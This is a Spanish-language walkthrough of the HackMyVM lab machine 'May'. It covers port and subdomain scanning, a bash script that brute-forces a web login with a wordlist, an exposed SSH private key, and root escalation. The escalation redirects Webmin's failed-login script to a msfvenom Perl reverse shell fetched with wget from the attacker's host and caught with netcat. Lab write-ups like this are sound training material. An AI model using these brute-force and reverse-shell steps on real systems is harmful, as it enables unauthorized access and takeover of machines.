May HackMyVM (Intermediate - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 03:17 EDT
Nmap scan report for 192.168.1.160
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 94:fb:c0:76:f2:b3:ff:4a:ed:61:6a:ae:a1:ca:86:c1 (RSA)
| 256 d0:29:99:fd:69:68:21:e3:b4:a6:48:e4:4e:a1:7e:f4 (ECDSA)
|_ 256 2a:1b:1f:3d:ab:0a:00:5b:43:75:89:67:8a:98:21:df (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://may.hmv
|_http-server-header: nginx/1.14.2
10000/tcp open http MiniServ 1.979 (Webmin httpd)
|_http-title: 200 — Document follows
MAC Address: 08:00:27:A3:6D:B5 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.48 seconds
Veremos varias cosas interesantes, entre ellas el puerto 80
que aloja una pagina web, pero si entramos veremos que se esta resolviendo con un dominio llamado may.hmv
por lo que tendremos que añadirlo a nuestro archivo hosts
.
nano /etc/hosts
#Dentro del nano
<IP> may.hmv
Lo guardamos y volveremos a cargar la pagina para que nos cargue el contenido.
URL = http://may.hmv/
Veremos lo siguiente cuando entremos:
admin: Web is under construction. Use Intranet.
marie: Where are now the keys?
alice: Yes, where are?
admin: :'(
Ya vemos 3
posibles usuarios, los cuales nos vamos a guardar en un archivo por si nos fuera necesario en un futuro utilizarlo:
users.txt
admin
marie
alice
Pero no veremos nada interesante en la pagina, como tenemos un dominio, vamos a realizar un poco de fuzzing
a ver si encontramos algun subdominio
de la siguiente forma:¡
FFUF
ffuf -c -t 200 -w <WORDLIST> -H "Host: FUZZ.may.hmv" -u http://may.hmv/ -fs 185
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://may.hmv/
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.may.hmv
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 185
________________________________________________
portal [Status: 200, Size: 406, Words: 50, Lines: 12, Duration: 14ms]
ssh [Status: 200, Size: 405, Words: 50, Lines: 11, Duration: 32ms]
:: Progress: [20469/20469] :: Job [1/1] :: 14084 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
Veremos que hay 2
subdominios
vamos a ver que contiene cada unos de ellos, pero antes vamos añadirlo a nuestro archivo hosts
.
nano /etc/hosts
#Dentro del nano
<IP> may.hmv portal.may.hmv ssh.may.hmv
Lo guardamos y ahora vamos a probar a entrar a ver que encontramos en los 2
, pero si entramos en cualquiera de los 2
veremos lo siguiente:

Vamos a probar a realizar fuerza bruta con un script en bash
de la siguiente forma:
Si nosotros capturamos la peticion con BurpSuite
veremos lo siguiente:
POST /check.php HTTP/1.1
Host: portal.may.hmv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://portal.may.hmv
Connection: keep-alive
Referer: http://portal.may.hmv/
Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user=marie&password=test
Vemos que se esta utilizando una Cookie
por lo que vamos a crear el script de esta forma:
forceWeb.sh
#!/bin/bash
while read pass; do
resp=$(curl -s -i -X POST http://portal.may.hmv/check.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX" \
-d "user=marie&password=$pass")
# Verifica si la respuesta contiene el mensaje de "user/pass incorrect."
echo "$resp" | grep -q "user/pass incorrect." || echo "[+] Found: marie:$pass"
done < /usr/share/wordlists/rockyou.txt
Vamos a probar con el usuario marie
si quisieramos con otro cambiamos el campo del user
por el otro, pero en mi caso probare primero con el usuario marie
, ahora lo ejecutaremos de la siguiente forma:
bash forceWeb.sh
Info:
[+] Found: marie:rebelde
Veremos que ha funcionado y hemos encontrado la contraseña de dicho usuario, ahora si entramos con dichas credenciales veremos lo siguiente:
Hi marie!Portal is under development too.Come back later
Escalate user marie
No veremos nada interesante, pero si entramos en la que pone ssh.may.hmv
y metemos las mismas credenciales veremos que no son validas, por lo que vamos a capturar la peticion a ver que esta pasando y veremos esto:
POST /check.php HTTP/1.1
Host: ssh.may.hmv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://ssh.may.hmv
Connection: keep-alive
Referer: http://ssh.may.hmv/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user=marie&password=rebelde
Veremos que no se esta estableciendo la Cookie
por lo que con la peticion interceptada, vamos a añadir dicho campo de la Cookie
para que nos podamos loguear
quedando de esta forma:
POST /check.php HTTP/1.1
Host: ssh.may.hmv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://ssh.may.hmv
Connection: keep-alive
Referer: http://ssh.may.hmv/
Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user=marie&password=rebelde
Ahora si le damos a enviar
veremos lo siguiente:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA3HwQ6G67tSrcxTN2oOKplVae0b+gVe0x/btFSgGJy2bMoWc14qBO
jE7cEcO8tEB85mI3ftByjp6ZVcQWdmEFvqDjeiGvucu0cnO/kTYZGue34/P0+3TJ4Dn92l
L5neeFJC37yHtgxGv1XZ3aQ6mN/XY6okPpjhECZieH8849P+vclhBsXcZPNwZ1vkXAinaY
T6e1vDJA94l4ioDgj/S48gFuR1OExpsxM+c1uggIcd/GgFyVHy7i/hdm78p09vnmWj8sw2
XUd8XGIJOZRHMx0xAw2ezkHC93buwL2KRxez9e5nsLMfKUYNBd7T/16AfS6lRvkvCBPAJs
aBOPbycNKQAAA8BCdu/2Qnbv9gAAAAdzc2gtcnNhAAABAQDcfBDobru1KtzFM3ag4qmVVp
7Rv6BV7TH9u0VKAYnLZsyhZzXioE6MTtwRw7y0QHzmYjd+0HKOnplVxBZ2YQW+oON6Ia+5
y7Ryc7+RNhka57fj8/T7dMngOf3aUvmd54UkLfvIe2DEa/VdndpDqY39djqiQ+mOEQJmJ4
fzzj0/69yWEGxdxk83BnW+RcCKdphPp7W8MkD3iXiKgOCP9LjyAW5HU4TGmzEz5zW6CAhx
38aAXJUfLuL+F2bvynT2+eZaPyzDZdR3xcYgk5lEczHTEDDZ7OQcL3du7AvYpHF7P17mew
sx8pRg0F3tP/XoB9LqVG+S8IE8AmxoE49vJw0pAAAAAwEAAQAAAQEAuDe81Mc4dG1Emkue
cVwQfuMpvWxTZZfSLgKbKPNSEy1oCe83OYvhNR/qhbk6YIyFDuS/I2i8XmcrDFrSvcPgzd
6VUYT10tHdiccmJwjBPxaeMYqyhKqWxY8Oh6zOPN2lA46cEWzsdBETqE1sgR4Ysc5nvQ3r
BTU3AO1EjTMjP9Sfo+GbbZq292h/WUlN3+34VngnTZg7RM2th4tk00sc07iiRLAh3DQ9Yo
7S8QWJQhVJAO/3UmhmsK8Sb44BJ/cYZd+SC6BV+RwsnrS+JyeUs1zctJzBSpxX6+9ko4oN
VGIWnYce1Jxrz1cxgwnEEsb2BnamTyRAJoWW4fU7NYzIkQAAAIANhgRfAVu6xVNyEXXOFg
263Uqp45OG8qhhONwk5wzJUE3GiD9mj1YZMYejEfTGoTwk2x9DAgQhk5cAAPrRJpC221NJ
72B0fllexMzO8RfizG345S04i40vjOgq+/iweU2+pRccJNFlRSZgKl8FJ1zmpP5fAQGQVo
NVgkzCDsu/MwAAAIEA8Q4y6353GpFasya8P60/8lOAl8RglmnS56Yt9kjdIBQvUVKDPPNP
qy9Ki3mJXLTbr+dPi2yaMTGr02rYVwGhLmykswXPQPzcdeuxt4ufYld8G3UgxNejsiYqWT
AkdYBaM6g2M/J/MWQY6WLhXMQhK75C6ZCbsrR3F8ffi0XF8TUAAACBAOonYvqdEgrAiYK/
l1iMe5oHRwklV/d5eEM/8bTl0MgDEhMYRLkmkuuhOb6rVIz3y3PVmE0zeQa2u6qj0stmLm
34pXoHjrR2KlUk5pvoXbcvm8TvnHypnIwls1QL5WsHMGNjt/AbboqLkA2m+v9IEEIww40w
8fGOoN87zX40QP6lAAAACW1hcmllQG1heQE=
-----END OPENSSH PRIVATE KEY-----
Vemos que ha funcionado de forma correcta, por lo que vamos a probar a meternos por SSH
con el usuario marie
.
Antes crearemos el archivo para meter nuestro id_rsa
:
nano id_rsa
#Dentro del nano
<ID_RSA_MARIE>
Lo guardamos y le establecemos los permisos necesarios para que funcione.
chmod 600 id_rsa
Ahora si nos conectaremos por SSH
mediante la clave PEM
de la siguiente forma:
ssh -i id_rsa marie@may.hmv
Info:
The authenticity of host 'may.hmv (192.168.1.160)' can't be established.
ED25519 key fingerprint is SHA256:QSSSqXZeR4OvUa7yWVlVa56SdGhd2InALjTGBAxu8QQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'may.hmv' (ED25519) to the list of known hosts.
Linux may 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 22 03:34:48 2021
marie@may:~$ whoami
marie
Y con esto estaremos dentro de la maquina con dicho usuario, por lo que leeremos la flag
del usuario.
user.txt
HMVmarieisrebel
Escalate Privielges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for marie on may:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marie may run the following commands on may:
(ALL) NOPASSWD: /usr/sbin/halt, /usr/sbin/reboot, /usr/sbin/poweroff
Pero no podremos hacer gran cosa con esto, por lo que vamos a seguir buscando.
Vamos a buscar archivos en los cuales pueda escribir omitiendo los que ya vienen por defecto, a ver que encontramos:
find / -type f -writable ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null
Info:
/etc/webmin/miniserv.conf
/home/marie/.bashrc
/home/marie/user.txt
/home/marie/.profile
/home/marie/.ssh/id_rsa.pub
/home/marie/.ssh/authorized_keys
/home/marie/.ssh/id_rsa
/home/marie/.bash_logout
/home/marie/.Xauthority
Por lo que vemos, vemos un archivo muy interesante que es miniserv.conf
el cual podemos escribir al parecer, asi que vamos a ver que contiene.
cat /etc/webmin/miniserv.conf
Info:
port=10000
root=/usr/share/webmin
mimetypes=/usr/share/webmin/mime.types
addtype_cgi=internal/cgi
realm=Webmin Server
logfile=/var/webmin/miniserv.log
errorlog=/var/webmin/miniserv.error
pidfile=/var/webmin/miniserv.pid
logtime=168
ssl=1
no_ssl2=1
no_ssl3=1
no_tls1=1
no_tls1_1=1
ssl_honorcipherorder=1
no_sslcompression=1
env_WEBMIN_CONFIG=/etc/webmin
env_WEBMIN_VAR=/var/webmin
atboot=1
logout=/etc/webmin/logout-flag
listen=10000
denyfile=\.pl$
log=1
blockhost_failures=5
blockhost_time=60
syslog=1
ipv6=1
session=1
premodules=WebminCore
server=MiniServ/1.979
userfile=/etc/webmin/miniserv.users
keyfile=/etc/webmin/miniserv.pem
passwd_file=/etc/shadow
passwd_uindex=0
passwd_pindex=1
passwd_cindex=2
passwd_mindex=4
passwd_mode=0
preroot=authentic-theme
passdelay=1
failed_script=/etc/webmin/failed.pl
logout_script=/etc/webmin/logout.pl
cipher_list_def=1
login_script=/etc/webmin/login.pl
sudo=1
Vemos que se esta ejecutando en el puerto 1000
que es el que vimos antes, es un login
, tambien vemos esto:
failed_script=/etc/webmin/failed.pl
logout_script=/etc/webmin/logout.pl
cipher_list_def=1
login_script=/etc/webmin/login.pl
sudo=1
Vemos que cuando da un error en el login
ejecuta el archivo failed.pl
que esta en perl
y se estaria ejecutando como root
por lo que vamos aprovechar eso y vamos a generar un archivo en perl
para realizar una reverse shell
como root
, pero antes tendremos que modificar dicha linea y redirigir esa ejeccucion a otro sitio en este caso en nuestra home
dejando la linea de esta forma:
failed_script=/home/marie/failed.pl
Ahora si vamos a generar el .pl
:
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > failed.pl
Una vez generado el archivo vamos abrir un servidor de python3
para pasarnos el archivo a nuestra home
del usuario, donde se va a ejecutar el .pl
.
python3 -m http.server 80
Ahora en la maquina victima ejeuctaremos lo siguiente:
wget http://<IP_ATTACKER>/failed.pl
Le damos permisos de ejecuccion:
chmod +x failed.pl
Echo esto entraremos ya en la siguiente URL
:
URL = https://<IP>:10000/
Antes de meter las credenciales mal, vamos a ponernos a la escucha:
nc -lvnp <PORT>
Ahora si metemos por ejemplo como credenciales:
User: test
Pass: test
No pondra que hemos fallado las credenciales, pero si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.160] 33600
whoami
root
Veremos que ha funcionado, por lo que leeremos la flag
de root
.
root.txt
HMVmaymaymay
Last updated